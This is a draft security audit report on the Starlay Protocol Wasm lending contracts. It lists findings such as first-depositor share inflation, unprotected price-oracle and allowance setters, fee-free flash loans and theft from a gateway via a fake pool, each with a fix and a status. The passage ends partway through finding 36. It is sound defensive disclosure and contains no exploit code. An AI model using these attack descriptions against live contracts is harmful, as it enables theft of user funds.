Audit Report

Starlay Protocol Wasm

DRAFT – DO NOT PUBLISH

v0.3

February 27, 2024

Table of Contents

License

Disclaimer

This audit has been performed by

Oak Security

https://oaksecurity.io/
info@oaksecurity.io

Introduction

Purpose of This Report

Oak Security has been engaged by Asynmatrix Pte. Ltd. and the ink!ubator program to perform a security audit of Starlay Protocol Wasm.

The objectives of the audit are as follows:

1. Determine the correct functioning of the protocol, in accordance with the project specification.
2. Determine possible vulnerabilities, which could be exploited by an attacker.
3. Determine smart contract bugs, which might lead to unexpected behavior.
4. Analyze whether best practices have been applied during development.
5. Make recommendations to improve code safety and readability.

This report represents a summary of the findings.

As with any code audit, there is a limit to which vulnerabilities can be found, and unexpected execution paths may still be possible. The author of this report does not guarantee complete coverage (see disclaimer).

Codebase Submitted for the Audit

The audit has been performed on the following target:

Repository	https://github.com/starlay-finance/starlay-protocol-wasm
Commit	`d8af853b4330e2e9d7229aa5b802cc21a3e3133c`
Scope	All contracts, excluding `contracts/leverager`, were in the scope of the audit.

Methodology

The audit has been performed in the following steps:

1. Gaining an understanding of the code base's intended purpose by reading the available documentation.
2. Automated source code and dependency analysis.
3. Manual line-by-line analysis of the source code for security vulnerabilities and use of best practice guidelines, including but not limited to:
    a. Race condition analysis
    b. Under-/overflow issues
    c. Key management vulnerabilities
4. Report preparation

Functionality Overview

The audited codebase features Starlay Finance, a DeFi lending protocol that allows users to lend, borrow, repay, and liquidate. Depositors can provide liquidity to earn interest as a stable passive income, while borrowers can leverage their assets without selling them out.

How to Read This Report

This report classifies the issues found into the following severity categories:

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or denial of service.
Minor	A violation of common best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects, such as user experience or readability, but is not strictly necessary. This category may also include opinionated recommendations that the project team might not share.

The status of an issue can be one of the following: **Pending**, **Acknowledged**, or **Resolved**.

Note that audits are an important step to improving the security of smart contracts and can find many issues. However, auditing complex codebases has its limits and a remaining risk is present (see disclaimer).

Users of the system should exercise caution. In order to help with the evaluation of the remaining risk, we provide a measure of the following key indicators: **code complexity**, **code readability**, **level of documentation**, and **test coverage**. We include a table with these criteria below.

Note that high complexity or low test coverage does not necessarily equate to a higher risk, although certain bugs are more easily detected in unit testing than in a security audit and vice versa.

Code Quality Criteria

The auditor team assesses the codebase's code quality criteria as follows:

Criteria	Status	Comment
Code complexity	Medium-High	The protocol architecture is similar to the Compound v2 design but with additional features, such as enabling or disabling an asset as collateral.
Code readability and clarity	Medium	Future development is expected as the codebase was not complete during the audit. For example, the incentives controller contract does not implement any reward accrual logic.
Level of documentation	Medium	Only minimal documentation is available on the `README` page. Protocol-specific designs are not documented, such as interest calculation and differences from the Compound v2 codebase.
Test coverage	Medium-High	End-to-end tests are provided in the `/tests` folder, while unit and integration tests are available in individual contract files. However, there are no tests available in `logics/impls/wad_ray_math.rs`.

Summary of Findings

No	Description	Severity	Status
1	Attackers can steal funds by being the first depositor of the pool	Critical	Acknowledged
2	Attackers can increase users' debt by repaying a loan on their behalf	Critical	Resolved
3	Unauthorized pool liquidation threshold modification	Critical	Resolved
4	Unauthorized price oracle configurations	Critical	Resolved
5	Unnecessary underlying token conversion causes a loss of funds for the sender	Critical	Resolved
6	Incorrect token denominations result in inaccurate amounts transacted	Critical	Resolved
7	Delegate allowance is not decreased after consumption	Critical	Resolved
8	Unauthorized delegate allowance modifications	Critical	Resolved
9	Disabled collateral assets can be liquidated	Critical	Resolved
10	Native funds owned by the WETH gateway contract can be stolen	Critical	Resolved
11	Disabled collaterals can be seized during liquidation	Critical	Resolved
12	Accruing interest does not update total borrows and reserves	Critical	Resolved
13	Interest not accrued before rate computations	Major	Resolved
14	Flash loans can be initiated without paying fee premiums	Major	Resolved
15	The manager contract does not implement required entry points to call the controller and pool contract	Major	Resolved
16	Unimplemented functions in the pool contract cannot be called	Major	Resolved
17	Overflow checks are disabled	Major	Acknowledged

18	Protocol reserves are incorrectly scaled with borrow index	Major	Resolved
19	Double deduction of protocol seized tokens	Major	Resolved
20	The manager contract cannot withdraw underlying funds	Major	Resolved
21	Incorrect interest and reserves accrued when updating the interest rate model contract and reserve factors	Major	Resolved
22	Supporting markets with existing underlying tokens overwrites market pair	Major	Resolved
23	Potential incorrect logic for flash loan implementation	Major	Acknowledged
24	Incorrect logic for auto-enabling the recipient's asset as collateral	Major	Resolved
25	Controllers can seize collaterals governed by other controllers	Major	Resolved
26	The redeem function processes redemption as underlying tokens instead of pool tokens	Minor	Resolved
27	Supporting too many markets may cause an out-of-gas error when iterating all markets	Minor	Resolved
28	Centralized emergency functions allow the draining of protocol funds	Minor	Acknowledged
29	The manager role address cannot be updated	Minor	Resolved
30	Misconfiguration risks in pool liquidation threshold and close factor mantissa	Minor	Resolved
31	Lack of zero address validation	Minor	Resolved
32	Possibly invalid logic related to accruing rewards	Minor	Acknowledged
33	Non-existing pool configurations can be set	Informational	Resolved
34	Lack of vector length assertion leads to a failed flash loan	Informational	Resolved
35	Constant values can be implemented instead of functions	Informational	Acknowledged
36	Events are not emitted	Informational	Resolved
37	Inefficient execution flows can be improved	Informational	Partially Resolved

38	No operation functions in the codebase	Informational	Resolved

Detailed Findings

1. Attackers can steal funds by being the first depositor of the pool

Severity: Critical

In `logics/impls/pool/mod.rs:824-827`, the `_mint` function computes the mint amount to the caller by dividing the sent amount by the exchange rate. After listing a new token, the mint action is enabled, as seen in `logics/impls/controller/mod.rs:707` and line `1091`.

This is problematic because if the attacker is the first depositor, an attacker can manipulate the exchange rate by sending a large amount of funds to the contract. This allows the attacker to borrow a larger amount of funds without actually depositing the required collateral amount.

Another attack scenario is that when a victim makes a deposit, the attacker can front-run the transaction and inflate the exchange rate to be larger than the sent deposit amount, causing the final mint amount to round down to zero. Consequently, the victim's deposit will be stolen by the attacker.

Please refer to the first depositor attack and inflate exchange rate test cases in the appendix to reproduce this issue.

Recommendation

We recommend automatically minting a number of dead shares to the null address if the total supply is zero.

Status: Acknowledged

The client states that they will make sure that the first depositor will be the admin.

2. Attackers can increase users' debt by repaying a loan on their behalf

Severity: Critical

The protocol allows users to repay loans on behalf of somebody else. A user can spend their own tokens in order to repay the debt of another user. However, in `logics/impls/pool/mod.rs:1024-1028`, the `_repay_borrow` function does not handle the logic responsible for the repaid amount correctly. Specifically, if the user provides a `repay_amount` that is bigger than the debt but less than `u128::MAX`, the protocol will attempt to decrease the debt by the provided value and not by the total debt.

Consequently, the `_increase_debt` function in `logics/impls/pool/mod.rs:927-931` will cause the `borrows_scaled` variable to

overflow. Such an operation will result in the victim's debt becoming a value close to `u128::MAX`.

Please refer to the repay on behalf overflow test case in the appendix to reproduce this issue.

Recommendation

We recommend modifying the logic responsible for determining the actual amount of repayment so it equals the smaller value of the user-provided `repay_amount` and the debt stored in `account_borrow_prev`. Additionally, we recommend enabling overflow checks across the whole codebase to eliminate overflow issues in the future.

Status: Resolved

3. Unauthorized pool liquidation threshold modification

Severity: Critical

The `set_liquidation_threshold` function in `logics/impls/pool/mod.rs:505` does not implement any sort of access control. This is problematic because it allows overwriting a pool's liquidation threshold, which can determine whether a particular loan will be liquidated or not. Consequently, a malicious user can manipulate this value to trigger liquidations for other users (e.g., lower than the `controller` contract's collateral factor value) or to prevent their own loans from being liquidated by setting it over a 100% value.

Please refer to the unprotected liquidation threshold setter test case in the appendix to reproduce this issue.

Recommendation

We recommend removing the `set_liquidation_threshold` function from the codebase. Alternatively, we recommend implementing access control so only the pool manager can execute it. Additionally, the `controller` contract's collateral factor would need to be decrease first before decreasing the liquidation threshold to prevent unexpected liquidation for borrowers.

Status: Resolved

4. Unauthorized price oracle configurations

Severity: Critical

In `logics/impls/price_oracle.rs:56`, the `_set_fixed_price` function lacks authorization to ensure that the caller holds the appropriate role. Currently, this allows any user to configure prices for a pool's underlying assets. Such a configuration can be

manipulated to set an excessively high value, enabling the user to take out uncollateralized loans, which poses a significant risk to the protocol's solvency.

Please refer to the Unauthorized oracle price manipulation test case in the appendix to reproduce this issue.

Recommendation

We recommend implementing an authorization check in the `_set_fixed_price` function to ensure that only authorized addresses are able to configure price oracles.

Status: Resolved

5. Unnecessary underlying token conversion causes a loss of funds for the sender

Severity: Critical

In `logics/impls/pool/mod.rs:771`, the `_transfer_tokens` function converts the pool tokens into underlying tokens denominations before processing the transfer request.

However, the implementation is flawed. When the `_transfer_from_to` function is called in lines `781` and `792`, it actually transfers the pool token denoms, not the underlying token denoms. The `_transfer_from_to` function is programmed to mutate the storage state and directly modify the sender and recipient's balances. Since the pool contract does not have the privilege to modify balances in the underlying token contract, the funds transacted should remain as pool token denom.

Consequently, the recipient will receive more pool tokens than intended due to the exchange rate multiplication, causing a potential loss of funds for the sender.

Recommendation

We recommend using the pool token denom to process transfer requests.

Status: Resolved

6. Incorrect token denominations result in inaccurate amounts transacted

Severity: Critical

The codebase contains several instances where transactions are inaccurately processed due to incorrect denominations.

In `logics/impls/weth_gateway.rs:108`, the `withdraw_eth` function of the WETH gateway contract incorrectly uses the underlying token denomination when calling the

`PoolRef::transfer_from` function with the `amount_to_withdraw` parameter. This approach conflicts with the expectation of the pool contract's `transfer_from` function at `contracts/pool/lib.rs:286`, which requires the value to be in the form of pool token denom, not underlying token denom.

Similarly, in `logics/impls/controller/mod.rs:980`, the `_transfer_allowed` function in the controller contract incorrectly uses pool token denomination while calling the `_redeem_allowed` function. The `_redeem_allowed` function expects the amount in the underlying token denomination. This misalignment occurs when the `ControllerRef::transfer_allowed` function is called in `logics/impls/pool/mod.rs:763` with the amount denominated in pool tokens instead of the underlying token denomination.

Recommendation

We recommend adjusting the denomination calculations in both instances:

- In `logics/impls/weth_gateway.rs:108`, compute the amount in pool tokens before calling `PoolRef::transfer_from`.
- In `logics/impls/pool/mod.rs:763`, compute the amount in underlying tokens before calling `ControllerRef::transfer_allowed`.

Status: Resolved

7. Delegate allowance is not decreased after consumption

Severity: Critical

In `logics/impls/pool/mod.rs:319-325`, the `delegated_allowed` modifier is used to verify that the user, who is granted an allowance by the owner, has sufficient allowance when calling the `borrow_for` function on the owner's behalf.

However, the allowance is not decreased after consumption. Suppose the owner approves the user for an allowance of 100 pool tokens. In that case, the user can repeatedly call the `borrow_for` function with 100 pool tokens each time, allowing them to bypass the initial allowance amount granted by the owner.

Recommendation

We recommend decreasing the delegate allowance based on the consumed amount.

Status: Resolved

8. Unauthorized delegate allowance modifications

Severity: Critical

In `logics/impls/pool/mod.rs:513-539`, the `increase_delegate_allowance` and `decrease_delegate_allowance` functions lack authorization checks, allowing any user to modify the allowance amounts set between an owner and a delegatee. This is problematic because an attacker can exploit these functions to increase a victim's allowance in favor of themselves. Subsequently, the attacker invokes the `borrow_for` function to withdraw funds from the victim's account and leave them responsible for the resulting loans.

Please refer to the Unprotected allowance modification test case in the appendix to reproduce this issue.

Recommendation

We recommend removing the `owner` parameter from both functions and replacing it with `Self::env().caller()` to ensure that only the actual owner can modify their own allowances.

Status: Resolved

9. Disabled collateral assets can be liquidated

Severity: Critical

In `logic/impls/pool/mod.rs:799`, the `_transfer_tokens` function calls the `_set_use_reserve_as_collateral` function when transferring funds to the recipient. The `_set_use_reserve_as_collateral` function automatically enables the recipient's assets as collateral, allowing the asset to be liquidated in case of extreme market conditions.

This is problematic because if the recipient is both a lender and borrower who does not intend to use part of the assets as collateral, malicious users can bypass this restriction so the asset can be liquidated, potentially causing a loss of funds for the recipient.

Recommendation

We recommend modifying the implementation of the `_transfer_tokens` function so the recipient's funds are not automatically enabled as collateral when they receive assets.

Status: Resolved

10. Native funds owned by the WETH gateway contract can be stolen

Severity: Critical

In `logics/impls/weth_gateway.rs:93` and `141`, the `withdraw_eth` and `borrow_eth` functions accept a pool parameter and an amount parameter. Both functions

will interact with the specified pool contract to withdraw or borrow WETH, unwrap into native funds, and transfer them to the caller.

However, if the provided pool address is not a legitimate pool supported by the controller contract, no actual WETH gets transferred to the WETH gateway contract, and the `WETHRef::withdraw` function would instead withdraw funds that belong to the WETH gateway contract and send them to the attacker. An attacker can achieve this by specifying the pool parameter to a fake contract, which is programmed to return `Result<Ok()>` when the `PoolRef::transfer_from`, `PoolRef::redeem_underlying`, and `PoolRef::borrow_for` functions call it.

Consequently, attackers can steal WETH tokens owned by the WETH gateway contract, causing a loss of funds.

Please refer to the Steal WETH test case in the appendix to reproduce the issue.

Recommendation

We recommend validating that the controller contract supports the provided pool contract and that the pool's underlying token equals the WETH token address. This can be achieved by introducing the controller contract during the WETH gateway contract initialization phase and querying them for validation when `withdraw_eth` and `borrow_eth` functions are called.

Status: Resolved

11. Disabled collaterals can be seized during liquidation

Severity: Critical

Borrowers in the protocol can enable or disable assets as collateral using the `set_use_reserve_as_collateral` function in `logics/traits/pool.rs:168`. When an asset is enabled as collateral, it contributes to the computation of account health and liquidation thresholds, as seen in `logics/impls/pool/mod.rs:593`.

However, this setting is not respected during liquidations. In `logics/impls/pool/mod.rs:1151`, the `_seize` function responsible for transferring a borrower's collateral to a liquidator does not validate whether the seized asset is enabled as collateral.

Consequently, a liquidator can liquidate assets the borrower has specifically disabled as collateral, causing an unexpected loss of funds scenario.

Recommendation

We recommend modifying the implementation so liquidators can only liquidate assets enabled as collateral.

Status: Resolved

12. Accruing interest does not update total borrows and reserves

Severity: Critical

In `logics/impls/pool/mod.rs:684`, the `_accrue_interest_at` function calls the `_get_interest_at` function internally to calculate the latest interest output. However, only the accrual block timestamp and borrow index are updated in lines `692` and `693`, while the total borrows (`out.total_borrows`) and reserves (`out.total_reserves`) are not, resulting in the total borrows and total reserves remain the same.

Consequently, lenders will not be rewarded with accrued interest, and borrowers can borrow with base interest rates instead of dynamic interest that is calculated based on the total borrows and total reserves, which leads to a malfunction in the protocol.

Recommendation

We recommend updating the total borrows and reserves amount in the `_accrue_interest_at` function.

Status: Resolved

13. Interest not accrued before rate computations

Severity: Major

In `logics/impls/flashloan_gateway.rs:79`, the `transfer_underlying` function transfers underlying tokens during a flash loan initiation. However, the `pool` contract's interest was not accrued before this transfer, leading to incorrect interest computation with fewer underlying funds in lines `108` and `118`. As a result, the total amounts used for computing borrow, supply, and exchange rates is inaccurately calculated. For example, the borrowing rate computed in `logics/impls/interest_rate_model.rs:98` will have an artificially high utilization rate, causing an excessive increase in the borrowing rate in line `113`.

Moreover, in `logics/impls/controller/mod.rs:1379`, the `get_account_snapshot` function does not accrue the pool contract's interest before retrieval of a user's balance, borrowed amount, and exchange rate, resulting in the latest borrow index being unapplied and leading to incorrect account collateral data.

Additionally, in `logics/impls/pool/mod.rs:742`, the function `_transfer_tokens` does not accrue interest before invoking the `transfer_allowed` function on the `controller` contract. This causes validations to be performed based on outdated interest rates, impacting the sender's debt and exchange rate accuracy.

The same issue affects the `_validate_set_use_reserve_as_collateral` function in `logics/impls/pool/mod.rs:1352`, which uses the `get_account_snapshot` function that relies on an outdated interest rate. Consequently, the `balance_decrease_allowed` function in line `1381` operates with incorrect user debt and exchange rate data.

We classify this issue as major because the caller can manually update rates by calling the `accrue_interest` function in `logics/traits/pool.rs:42` before executing the abovementioned functions.

Recommendation

We recommend automatically calling the `accrue_interest` function on the pools.

Status: Resolved

14. Flash loans can be initiated without paying fee premiums

Severity: Major

The `flashloan` function from `logics/impls/flashloan_gateway.rs:54` does not verify if the `assets` vector contains only unique values, allowing lending of the same asset multiple times in the same transaction call. Since the function calculates `premium` using integer division in line `76`, the premium will be zero if the borrowed amount multiplied by `flashloan_premium_total` is less than 10000.

This allows a flash loan to be executed without needing to pay the premium fees. An attacker can divide the amount they want to loan into smaller chunks in the `assets` vector so that the premium computed with each chunk is zero.

Please refer to the free flashloans test case in the appendix to reproduce the issue.

Recommendation

We recommend deduping the `assets` vector. Additionally, a minimal value for `premium` could be implemented for cases when the resulting `premium` equals zero.

Status: Resolved

15. The `manager` contract does not implement required entry points to call the `controller` and `pool` contract

Severity: Major

In `logics/impls/controller/mod.rs:551` and `558`, the `set_seize_guardian_paused` and `set_transfer_guardian_paused` functions can

only be called by the `manager` contract. However, there are no entry points implemented in the `contracts/manager/lib.rs:91` that allow privileged roles to call the functions.

Consequently, the `controller` contract's `seize_guardian_paused` and `transfer_guardian_paused` cannot be updated by the privileged roles, preventing them from blocking seize and transfer actions.

This issue also exists in `logics/impls/pool/mod.rs:552` in the `set_incentives_controller` function, which ensures the caller is the `manager` contract. However, there is no entry point in the `manager` contract to call this.

Recommendation

We recommend implementing entry points for privileged roles to call the `set_seize_guardian_paused` and `set_transfer_guardian_paused` functions in the `controller` contract and the `set_incentives_controller` function in the `pool` contract.

Status: Resolved

16. Unimplemented functions in the `pool` contract cannot be called

Severity: Major

The `pool` contract in `contracts/pool/lib.rs:154-167` is overriding the `set_controller`, `add_reserves`, and `set_interest_rate_model` functions. All of them are set to return a `NotImplemented` error variant.

However, all three functions have a default implementation in `logics/impls/pool/mod.rs:459`, `478` and `489`. Consequently, they will fail although the underlying implementation is available.

Recommendation

We recommend removing the overriding functions so the manager contract can update the pool configurations and reserves can be added externally. Additionally, we recommend implementing entry points so the manager contract can call `set_interest_rate_model` and `set_liquidation_threshold` functions in the pool contract.

Status: Resolved

17. Overflow checks are disabled

Severity: Major

In several instances of the codebase, overflow checks are disabled:

- `contracts/controller/Cargo.toml:32`
- `contracts/default_interest_rate_model/Cargo.toml:32`
- `contracts/flashloan_gateway/Cargo.toml:32`
- `contracts/lens/Cargo.toml:29`
- `contracts/manager/Cargo.toml:31`
- `contracts/pool/Cargo.toml:32`
- `contracts/price_oracle/Cargo.toml:29`
- `contracts/weth_gateway/Cargo.toml:32`
- `logics/Cargo.toml:43`

This allows an overflow issue to occur during arithmetic operations. Overflows are typically undesirable and can lead to significant issues. Therefore, it is essential to prevent them by enabling compiler-level overflow checks.

For example, the root cause of Attackers can increase users' debt by repaying a loan on their behalf is an overflow error that occurs when the repaid amount, which is larger, is subtracted from the lesser debt value, which can be prevented by enabling overflow checks.

Recommendation

We recommend enabling overflow checks across the codebase. This can be accomplished by setting `overflow-checks = true` in the relevant `Cargo.toml` files and specifying the `--skip-wasm-validation` flag when building the contract.

Status: Acknowledged

18. Protocol reserves are incorrectly scaled with borrow index

Severity: Major

In `logics/impls/pool/mod.rs:1184`, `1248`, and `1277`, total reserves are scaled and descaled with the borrowing index. When the debt interest is accrued, the protocol reserves also increase because the new index used to descale is larger than the previous one that scales it.

The scaling approach is problematic because the reserves remain in the controller contract and are not lent to borrowers. Hence, the reserves should not be subject to interest gains associated with the borrowing index.

Consequently, the `_reduce_reserves` function will unknowingly withdraw more funds than intended, affecting all pool token holders to receive fewer underlying tokens.

Recommendation

We recommend modifying the storage implementation to store the total reserves without scaling it with the borrowing index.

Status: Resolved

19. Double deduction of protocol seized tokens

Severity: Major

In `logics/impls/pool/mod.rs:1190`, the `_seize` function deducts the total supply of pool tokens by the amount seized by the protocol. This is problematic because the pool token supply amount is effectively reduced twice: first, by the manual reduction in line `1190`, and second, by the `_burn_from` and `_mint_to` functions in lines `1191` and `1192` that adjust the supply.

For example, consider a scenario where the borrower's `1000` seized tokens are divided as `972` tokens for the liquidator and `28` for the protocol. After reducing the borrower's balance and increasing the liquidator's balance, the total supply should be `927` (`1000-1000+972`), which already covers the protocol-seized amount. However, due to line `1190`, the total supply is reduced to `944` (`1000-1000+972-28`), which is incorrect.

Consequently, a double deduction of protocol-seized tokens will occur, causing the last user to fail to redeem their pool tokens for underlying funds due to an overflow error.

Recommendation

We recommend removing the line at `logics/impls/pool/mod.rs:1190` to prevent double deduction of pool tokens.

Status: Resolved

20. The `manager` contract cannot withdraw underlying funds

Severity: Major

In `logics/impls/pool/mod.rs:1283` and `1297`, the `_reduce_reserves` and `_sweep_token` functions transfer the underlying tokens to the caller. Given that both functions are only callable by the manager contract (see lines `495` and `501`), that contract will eventually receive the funds.

However, no entry point is implemented to withdraw the funds in the manager contract, causing them to become inaccessible.

Recommendation

We recommend implementing a withdrawal entry point in the manager contract for privileged roles to withdraw underlying funds.

Status: Resolved

21. Incorrect interest and reserves accrued when updating the interest rate model contract and reserve factors

Severity: Major

In `logics/impls/pool/mod.rs:478`, the `set_interest_rate_model` function updates the interest rate model contract without calling the `accrue_interest` function. While the function checks whether the `accrual_block_timestamp` is up-to-date before performing state changes, it is crucial for interest to be accrued before updating the interest rate model's contract address.

This would ensure the interest amount is accurately calculated and applied.

This issue also exists in the `set_reserve_factor_mantissa` function updating the reserve factor. As the reserve factor influences how much reserves to allocate when updating the interest rate, the `accrue_interest` function needs to be called so reserves are computed correctly.

Recommendation

We recommend calling the `accrue_interest` function in the `set_interest_rate_model` and `set_reserve_factor_mantissa` functions.

Status: Resolved

22. Supporting markets with existing underlying tokens overwrites market pair

Severity: Major

In `logics/impls/controller/mod.rs:1088`, the `_support_market` function sets the `markets_pair` mapping with key as the underlying token address and value as the pool address. If there is an existing pool that uses the same underlying token address, it will be overwritten in the `markets_pair` mapping, causing an inconsistent state recorded.

Please refer to the support_market_same_underlying test case in the appendix to reproduce the issue.

Recommendation

We recommend modifying the implementation so existing pools with the same underlying token address will not be removed.

Status: Resolved

23. Potential incorrect logic for flash loan implementation

Severity: Major

The `flashloan` function in `logics/impls/flashloan_gateway.rs:54` allows users to specify if they want to pay for the flash loan according to their definition or by borrowing from the pool.

Since the protocol allows the payment for the flash loan using `pools`' borrowing mechanisms, this mechanism forfeits the benefits of the flash loan and makes it a borrow position spanning across multiple pools.

Additionally, the amount borrowed to cover the flash loan equals the actual flash loaned amount that does not include premiums, which may not be a desirable outcome.

Recommendation

We recommend reviewing the documentation associated with that functionality and assessing if it is implemented according to its specifications.

Status: Acknowledged

24. Incorrect logic for auto-enabling the recipient's asset as collateral

Severity: Major

In `logics/impls/pool/mod.rs:830`, the `_mint` function incorrectly sets the criteria for automatically enabling the recipient's asset as collateral. The current implementation triggers this action when the sender's pool token balance is zero, which is erroneous. The correct condition should be based on whether the recipient has a zero pool token balance, not the sender.

The rationale is that collateral should only be automatically enabled if the recipient has not previously activated it, indicated by a zero balance. A zero balance implies this is the recipient's first deposit, meaning the asset needs to be enabled as collateral. Conversely, if the recipient already has a balance, it may indicate their intention to purposely disable the asset as collateral.

Recommendation

We recommend automatically enabling the recipient's asset as collateral if their pool token balance is zero.

Status: Resolved

25. Controllers can seize collaterals governed by other controllers

Severity: Major

The `controller` contract's `seize_allowed` function in `logics/impls/controller/mod.rs:944` contains a comment specifying that the `pool` contract should be responsible for verifying that `pool_collateral` and `pool_borrowed` account IDs both correspond to the same `controller` contract. However, the `pool` contract implementation in `logics/impls/pool/mod.rs:1151` does not follow these instructions.

Consequently, controllers that do not govern the collateral and borrowing pools can seize collateral from other controllers, which is an unintended usage of the protocol design.

Recommendation

We recommend adhering to the documentation specified in the comment. Alternatively, if the comments are obsolete or not relevant anymore, consider removing them to improve code quality.

Status: Resolved

26. The redeem function processes redemption as underlying tokens instead of pool tokens

Severity: Minor

In `logics/impls/pool/mod.rs:371` and line `378`, the `redeem` and `redeem_underlying` functions are used to redeem pool tokens. Internally, both functions call `_redeem` with the provided `redeem_amount` parameter, which transfers the underlying token to the user.

The issue arises from the differing expectations for both functions regarding the input parameter. Specifically, the `redeem` function expects the caller to provide the parameter as the pool tokens, while the `redeem_underlying` function interprets the parameter as underlying tokens.

Consequently, this will mislead users and third-party protocol integrations because they expect the `redeem` function to process the redemption in pool tokens denom rather than underlying tokens denom, causing an incorrect amount of underlying tokens redeemed.

Recommendation

We recommended modifying the `_redeem` function so the `redeem_tokens` parameter is processed as the pool tokens, similar to the [cToken redeemFresh function implementation].

Status: Resolved

27. Supporting too many markets may cause an out-of-gas error when iterating all markets

Severity: Minor

In `logics/impls/controller/mod.rs:53`, the `controller` contract records the listed markets in a vector. Due to that, a loop is required to iterate through all the listed markets, such as when listing a new market to verify no duplicates exist in line `1081`.

The issue is that if there are many pools listed, the iteration will fail due to an out-of-gas error, causing the transaction to fail. This presents as a denial of service attack as the main lending activities in the protocol cannot be performed.

We classify this issue as minor because only the controller admin can list a market, which is a privileged role.

Recommendation

We recommend implementing a mapping to store all listed pools in the protocol. For example, the mapping can record the key as the pool address, and the value as the underlying token address. Additionally, we recommend adding a maximum limit of markets that can be listed in the protocol.

Status: Resolved

28. Centralized emergency functions allow the draining of protocol funds

Severity: Minor

The `WETHGateway` contract in `logics/impls/weth_gateway.rs:150` and `160` defines the `emergency_token_transfer` and `emergency_ether_transfer` functions. These functions that are callable only by the contract owner permit the transfer of any amount of `PSP22` and native tokens to any chosen `AccountId`. If the contract owner were compromised, these functions can be used to drain assets from the `WETHGateway` within the protocol.

We classify this issue as minor because the contract owner is expected to not become compromised.

Recommendation

We recommend removing both the `emergency_token_transfer` and `emergency_ether_transfer` functions from the codebase.

Status: Acknowledged

29. The manager role address cannot be updated

Severity: Minor

The `controller` contract defines the privileged `manager` role in `logics/impls/controller/mod.rs:75`. The `manager` is responsible for handling critical operations within the `controller`. However, it was observed that no functionality allows updating the `manager` role address.

If the `manager` became compromised or a bug was identified in its code, it would result in a loss of control over the `controller` contract.

Recommendation

We recommend allowing the manager role to be updated with a two-step role transfer process. The first step should be to assign a candidate `manager`. Then, a second step in the process should be for the candidate `manager` to accept the role and become the `manager`.

Status: Resolved

30. Misconfiguration risks in pool liquidation threshold and close factor mantissa

Severity: Minor

In `contracts/pool/lib.rs:416`, the `_initialize` function sets the pool's liquidation threshold during contract instantiation. However, there is no validation to ensure that the liquidation threshold does not exceed 100% (10,000 basis points) and is lower than the close factor. This lack of validation could lead to scenarios where borrowers take out under-collateralized loans, risking the protocol's solvency, and increasing the likelihood of sudden liquidations due to a minimal buffer between the borrowed amount and liquidation price.

The above issue is also present in the `_set_liquidation_threshold` function in `logics/impls/pool/mod.rs:1306`.

Additionally, in `logics/impls/controller/mod.rs:1153`, the `_set_collateral_factor_mantissa` function does not ensure the close factor mantissa is below 100% (10^18). A mantissa exceeding 10^18 would result in incorrect total reserve calculations, as seen in `logics/impls/pool/utils.rs:136`.

We classify this issue as minor because it can only be caused by a misconfigured from the controller admin, which is a privileged role.

Recommendation

We recommend implementing validations in the `pool` contract to ensure the liquidation threshold does not exceed 10,000 basis points and is less than the `controller` contract's close factor. Additionally, we recommend ensuring the close factor mantissa in the `controller` contract does not exceed 10^18 to avoid incorrect calculations of total reserves.

Status: Resolved

31. Lack of zero address validation

Severity: Minor

The `pool` contract's constructors in `contracts/pool/lib.rs:323` and `358` do not perform zero-address checks on every argument that has a type of `AccountId`. The checks are omitted for `rate_model` and `incentives_controller`. Zero addresses could be provided by accident or maliciously, and setting parameters to zero addresses will cause invalid behavior.

Recommendation

We recommend implementing zero-address checks for `rate_model` and `incentives_controller` contracts.

Status: Resolved

32. Possibly invalid logic related to accruing rewards

Severity: Minor

The `pool` contract calls the `_accrue_rewards` function in several instances in `logics/impls/pool/mod.rs`. However, it is often called multiple times during a single execution flow which may cause invalid results in the future, should rewards be implemented.

For example, the `liquidate_borrow` function in line `431` calls the `_accrue_rewards` function multiple times. It is called with the same arguments in both the `_liquidate_borrow` function and in the `_seize` function that is called as part of the execution.

We classify this issue as minor because the reward accrual logic in the incentives controller contract has not been implemented yet, as seen in `logics/impls/incentives_controller.rs:30`.

Recommendation

We recommend reviewing the codebase in terms of reward accrual once the logic guiding this mechanism is implemented to ensure no unintentional rewards are calculated.

Status: Acknowledged

33. Non-existing pool configurations can be set

Severity: Informational

In `logics/impls/manager.rs:128`, `137`, `142`, and `163`, privileged roles in the manager contract can call the following entry points to configure pool settings:

- `set_collateral_factor_mantissa`
- `set_mint_guardian_paused`
- `set_borrow_guardian_paused`
- `set_borrow_cap`

The issue is that there are no validations to ensure the pool to be configured is listed by the `controller` contract.

For example, the `set_collateral_factor_mantissa` function in `logics/impls/controller/mod.rs:531` sets the collateral factor for a pool. This configuration will be overwritten if the controller admin lists the pool with the `support_market_with_collateral_factor_mantissa` function in line `512`, which may be unintended.

We classify this issue as minor because it can only be caused by a misconfigured from privileged roles.

Recommendation

We recommend ensuring that the pools are listed before updating their configurations in the `controller` contract.

Status: Resolved

34. Lack of vector length assertion leads to a failed flash loan

Severity: Informational

The `flashloan` function in `logics/impls/flashloan_gateway.rs:54` takes three vectors as parameters that loop over `assets`, `amounts`, and `mods`. The function itself verifies that `assets`' and `amounts`' lengths are equal. However, it does not do so for the `mods` vector.

Consequently, it is possible to provide a `mods` vector that will not be long enough to execute every loop iteration successfully. Such a scenario results in a panic that will unexpectedly terminate the contract's execution.

If the `mods` vector is longer than the `assets` and `amounts` vector, the excess value will be ignored.

Recommendation

We recommend implementing a check that ensures all vectors relevant to the iteration have matching lengths.

Status: Resolved

35. Constant values can be implemented instead of functions

Severity: Informational

There are multiple occurrences of functions that always return the same value. Such functions that can be replaced with constant values are illustrated below:

- `percentage_factor` and `half_percent` in `logics/impls/percent_math.rs:17` and `21`
- `exp_scale`, `half_exp_scale`, and `mantissa_one` in `logics/impl/exp_no_err.rs:28`, `32`, and `35`

Recommendation

We recommend replacing the functions above with constants.

Status: Acknowledged

36. Events are not emitted

Severity: Informational

In several instances of the codebase, the following functions in `logics/impls/controller/mod.rs` do not emit events when it is called:

- `_emit_new_price_oracle_event`
- `_emit_new_flashloan_gateway_event`
- `_emit_pool_action_paused_event`
- `_emit_new_close_factor_event`
- `_emit_new_collateral_factor_event`
- `_emit_action_paused_event`
- `_emit_new_liquidation_incentive_event`
- `_emit_new_borrow_cap_event`

It is best practice to emit events and attributes to improve the usability of the contracts and to support off-chain event listeners such as indexers.

Recommendation

